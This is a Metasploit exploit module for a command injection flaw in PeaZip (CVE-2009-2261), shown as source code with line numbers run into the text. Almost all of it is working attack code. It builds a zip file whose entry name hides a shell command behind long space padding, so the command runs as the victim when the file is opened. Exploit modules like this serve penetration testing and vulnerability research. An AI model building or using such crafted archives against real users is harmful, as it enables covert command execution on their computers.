Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/fileformat/peazip_command_injection.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/zip'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(update_info(info,14'Name' => 'PeaZip Zip Processing Command Injection',15'Description' => %q{16This module exploits a command injection vulnerability in PeaZip. All17versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with18version 2.6.1 on Windows.1920In order for the command to be executed, an attacker must convince someone to21open a specially crafted zip file with PeaZip, and access the specially file via22double-clicking it. By doing so, an attacker can execute arbitrary commands23as the victim user.24},25'License' => MSF_LICENSE,26'Author' =>27[28'pyrokinesis', # Of Nine:Situations:Group29'jduck'30],31'References' =>32[33[ 'CVE', '2009-2261' ],34[ 'OSVDB', '54966' ],35[ 'URL', 'http://peazip.sourceforge.net/' ],36[ 'EDB', '8881' ]37],38'Platform' => %w{ linux unix win },39'Arch' => ARCH_CMD,40'Payload' =>41{42'Space' => 1024,43'BadChars' => '',44'DisableNops' => true,45'Compat' =>46{47'PayloadType' => 'cmd',48'RequiredCmd' => 'generic perl telnet',49}50},51'Targets' =>52[53['Automatic', { }],54],55'DisclosureDate' => '2009-06-05',56'DefaultTarget' => 0))5758register_options(59[60OptString.new('FILENAME', [ true, 'The file name.', 'msf.zip']),61])62end636465def exploit6667# NOTE: using a command line containing / or \ will result in the command68# being easily visible to the victim69cmd = datastore['CMD']7071fname = "README.TXT"72rest = "\"|#{cmd}|.txt"73fname << " " * (255 - fname.length - rest.length)74fname << rest7576content = rand_text_alphanumeric(rand(1024))7778zip = Rex::Zip::Archive.new79zip.add_file(fname, content)8081# Create the file82print_status("Creating '#{datastore['FILENAME']}' file...")8384file_create(zip.pack)85end86end878889